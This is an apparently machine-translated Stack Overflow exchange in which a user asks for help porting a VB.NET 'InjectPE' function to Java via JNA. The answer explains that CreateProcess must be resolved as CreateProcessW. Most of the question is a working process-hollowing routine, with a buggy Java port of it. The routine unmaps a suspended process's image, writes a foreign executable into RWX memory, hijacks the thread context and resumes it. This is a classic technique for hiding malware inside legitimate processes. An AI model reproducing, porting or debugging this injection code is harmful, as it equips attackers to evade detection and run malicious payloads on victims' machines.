0

我正在尝试将此 VB 代码转换为 Java:

Public Shared Function InjectPE(ByVal bytes As Byte(), ByVal surrogateProcess As String) As Boolean
    Try
        Dim procAttr As IntPtr = IntPtr.Zero
        Dim processInfo As IntPtr() = New IntPtr(3) {}
        Dim startupInfo As Byte() = New Byte(67) {}

        Dim num2 As Integer = BitConverter.ToInt32(bytes, 60)
        Dim num As Integer = BitConverter.ToInt16(bytes, num2 + 6)
        Dim ptr4 As New IntPtr(BitConverter.ToInt32(bytes, num2 + &H54))

        If CreateProcess(Nothing, New StringBuilder(surrogateProcess), procAttr, procAttr, False, 4, _
            procAttr, Nothing, startupInfo, processInfo) Then
            Dim ctxt As UInteger() = New UInteger(178) {}
            ctxt(0) = &H10002
            If GetThreadContext(processInfo(1), ctxt) Then
                Dim baseAddr As New IntPtr(ctxt(&H29) + 8L)

                Dim buffer__1 As IntPtr = IntPtr.Zero
                Dim bufferSize As New IntPtr(4)

                Dim numRead As IntPtr = IntPtr.Zero

                If ReadProcessMemory(processInfo(0), baseAddr, buffer__1, CInt(bufferSize), numRead) AndAlso (NtUnmapViewOfSection(processInfo(0), buffer__1) = 0) Then
                    Dim addr As New IntPtr(BitConverter.ToInt32(bytes, num2 + &H34))
                    Dim size As New IntPtr(BitConverter.ToInt32(bytes, num2 + 80))
                    Dim lpBaseAddress As IntPtr = VirtualAllocEx(processInfo(0), addr, size, &H3000, &H40)

                    Dim lpNumberOfBytesWritten As Integer

                    WriteProcessMemory(processInfo(0), lpBaseAddress, bytes, CUInt(CInt(ptr4)), lpNumberOfBytesWritten)
                    Dim num5 As Integer = num - 1
                    For i As Integer = 0 To num5
                        Dim dst As Integer() = New Integer(9) {}
                        Buffer.BlockCopy(bytes, (num2 + &HF8) + (i * 40), dst, 0, 40)
                        Dim buffer2 As Byte() = New Byte((dst(4) - 1)) {}
                        Buffer.BlockCopy(bytes, dst(5), buffer2, 0, buffer2.Length)

                        size = New IntPtr(lpBaseAddress.ToInt32() + dst(3))
                        addr = New IntPtr(buffer2.Length)

                        WriteProcessMemory(processInfo(0), size, buffer2, CUInt(addr), lpNumberOfBytesWritten)
                    Next
                    size = New IntPtr(ctxt(&H29) + 8L)
                    addr = New IntPtr(4)

                    WriteProcessMemory(processInfo(0), size, BitConverter.GetBytes(lpBaseAddress.ToInt32()), CUInt(addr), lpNumberOfBytesWritten)
                    ctxt(&H2C) = CUInt(lpBaseAddress.ToInt32() + BitConverter.ToInt32(bytes, num2 + 40))
                    SetThreadContext(processInfo(1), ctxt)
                End If
            End If
            ResumeThread(processInfo(1))
        End If
    Catch
        Return False
    End Try
    Return True
End Function

我先写了原生调用接口。

内核32

import com.sun.jna.ptr.IntByReference;
import com.sun.jna.win32.StdCallLibrary;

public interface Kernel32 extends StdCallLibrary {

    boolean CreateProcess(String appName, String commandLine,
            IntByReference procAttr, IntByReference thrAttr, boolean inherit,
            int creation, IntByReference env, String curDir, byte[] sInfo,
            IntByReference[] pInfo);

    boolean GetThreadContext(IntByReference hThr, int[] ctxt);

    boolean ReadProcessMemory(IntByReference hProc, IntByReference baseAddr,
            IntByReference bufr, int bufrSize, IntByReference numRead);

    int ResumeThread(IntByReference hThread);

    boolean SetThreadContext(IntByReference hThr, int[] ctxt);

    IntByReference VirtualAllocEx(IntByReference hProc, IntByReference addr,
            IntByReference size, int allocType, int prot);

    boolean VirtualProtectEx(IntByReference hProcess, IntByReference lpAddress,
            IntByReference dwSize, int flNewProtect, int lpflOoldProtect);

    boolean WriteProcessMemory(IntByReference hProcess,
            IntByReference lpBaseAddress, byte[] lpBuffer, int nSize,
            int lpNumberOfBytesWritten);

}

NtDLL

import com.sun.jna.ptr.IntByReference;
import com.sun.jna.win32.StdCallLibrary;

public interface NtDll extends StdCallLibrary {

    int NtUnmapViewOfSection(IntByReference hProc, IntByReference baseAddr);

}

写完调用接口后,我继续翻译函数。我看到我需要一个等效的BitConverter ,所以我写了一个。

import java.nio.ByteBuffer;
import java.nio.ByteOrder;

public final class BitConverter {

    public static byte[] getBytes(int value) {
        ByteBuffer buffer = ByteBuffer.allocate(4).order(
                ByteOrder.nativeOrder());
        buffer.putInt(value);
        return buffer.array();
    }

    public static short toInt16(byte[] bytes, int index) {
        if (bytes.length != 8)
            return -1;
        return (short) ((0xff & bytes[index]) << 8 | (0xff & bytes[index + 1]) << 0);
    }

    public static int toInt32(byte[] bytes, int index) {
        if (bytes.length != 4)
            return -1;
        return (int) ((int) (0xff & bytes[index]) << 56
                | (int) (0xff & bytes[index + 1]) << 48
                | (int) (0xff & bytes[index + 2]) << 40 | (int) (0xff & bytes[index + 3]) << 32);
    }

}

现在我已经准备好编写函数了。我想出了这个:

public static boolean injectPE(Kernel32 kernel, NtDll ntdll, String process,
        byte[] bytes) {
    IntByReference procAttr = new IntByReference(0);
    IntByReference[] processInfo = new IntByReference[3];
    byte[] startupInfo = new byte[67];

    int num2 = BitConverter.toInt32(bytes, 60);
    int num = BitConverter.toInt16(bytes, num2 + 6);
    IntByReference ptr4 = new IntByReference(BitConverter.toInt32(bytes,
            num2 + 0x54));

    if (kernel.CreateProcess(null, process, procAttr, procAttr, false, 4,
            procAttr, null, startupInfo, processInfo)) {
        int[] ctxt = new int[178];
        ctxt[0] = 0x10002;

        if (kernel.GetThreadContext(processInfo[1], ctxt)) {
            IntByReference baseAddr = new IntByReference(ctxt[0x29] + 8);

            IntByReference buffer__1 = new IntByReference(0);
            IntByReference bufferSize = new IntByReference(4);

            IntByReference numRead = new IntByReference(0);

            if (kernel.ReadProcessMemory(processInfo[0], baseAddr,
                    buffer__1, bufferSize.getValue(), numRead)
                    && ntdll.NtUnmapViewOfSection(processInfo[0], buffer__1) == 0) {
                IntByReference addr = new IntByReference(
                        BitConverter.toInt32(bytes, num2 + 0x34));
                IntByReference size = new IntByReference(
                        BitConverter.toInt32(bytes, num2 + 80));
                IntByReference lpBaseAddress = kernel.VirtualAllocEx(
                        processInfo[0], addr, size, 0x3000, 0x40);

                int lpNumberOfBytesWritten = 0;

                kernel.WriteProcessMemory(processInfo[0], lpBaseAddress,
                        bytes, ptr4.getValue(), lpNumberOfBytesWritten);
                int num5 = num - 1;
                for (int i = 0; i <= num5; i++) {
                    int[] dst = new int[9];
                    System.arraycopy(bytes, (num2 + 0xF8) + (i * 40), dst,
                            0, 40);
                    byte[] buffer2 = new byte[dst[4] - 1];
                    System.arraycopy(bytes, dst[5], buffer2, 0,
                            buffer2.length);

                    size = new IntByReference(lpBaseAddress.getValue()
                            + dst[3]);
                    addr = new IntByReference(buffer2.length);

                    kernel.WriteProcessMemory(processInfo[0], size,
                            buffer2, addr.getValue(),
                            lpNumberOfBytesWritten);
                }

                size = new IntByReference(ctxt[0x29] + 8);
                addr = new IntByReference(4);

                kernel.WriteProcessMemory(processInfo[0], size,
                        BitConverter.getBytes(lpBaseAddress.getValue()),
                        addr.getValue(), lpNumberOfBytesWritten);
                ctxt[0x2C] = lpBaseAddress.getValue()
                        + BitConverter.toInt32(bytes, num2 + 40);
                kernel.SetThreadContext(processInfo[1], ctxt);
            }
        }

        kernel.ResumeThread(processInfo[1]);

        return true;
    }

    return false;
}

我遇到的问题是,当我运行测试时出现此错误:

Exception in thread "main" java.lang.UnsatisfiedLinkError: Error looking up function 'CreateProcess': The specified procedure could not be found.

我不知道如何诊断 JNA 错误,所以我被困在这一点上。非常感谢您对此的任何帮助以及其他方面的帮助。谢谢!

4

1 回答 1

1

您可以通过扩展JNA 的 platform.jar 中提供的 JNA 的 Kernel32 映射而不是自己滚动来节省一些工作。

如果您使用dependency walker查看kernel32.dll,您会发现CreateProcessDLL 中不存在该文件,但CreateProcessA确实CreateProcessW存在。大多数 w32 API 函数都有“ansii”和“unicode”两种风格,它们的字符串定义不同(LPCTSTR);前者用char*,后者用wchar_t*。请注意,您应该只String在您看到的地方映射 Java LPCTSTR(常量字符串);如果类型是LPTSTR,您必须根据需要使用byte[]char[]

如果您查看 JNA 的 Kernel32 映射的初始化,您会看到它使用W32API_UNICODE_OPTIONS,它会自动处理从CreateProcess到的转换CreateProcessW(以及让您使用 JavaString处理本机字符串,而不必显式使用 JNA 的WString)。

于 2013-01-20T15:00:48.193 回答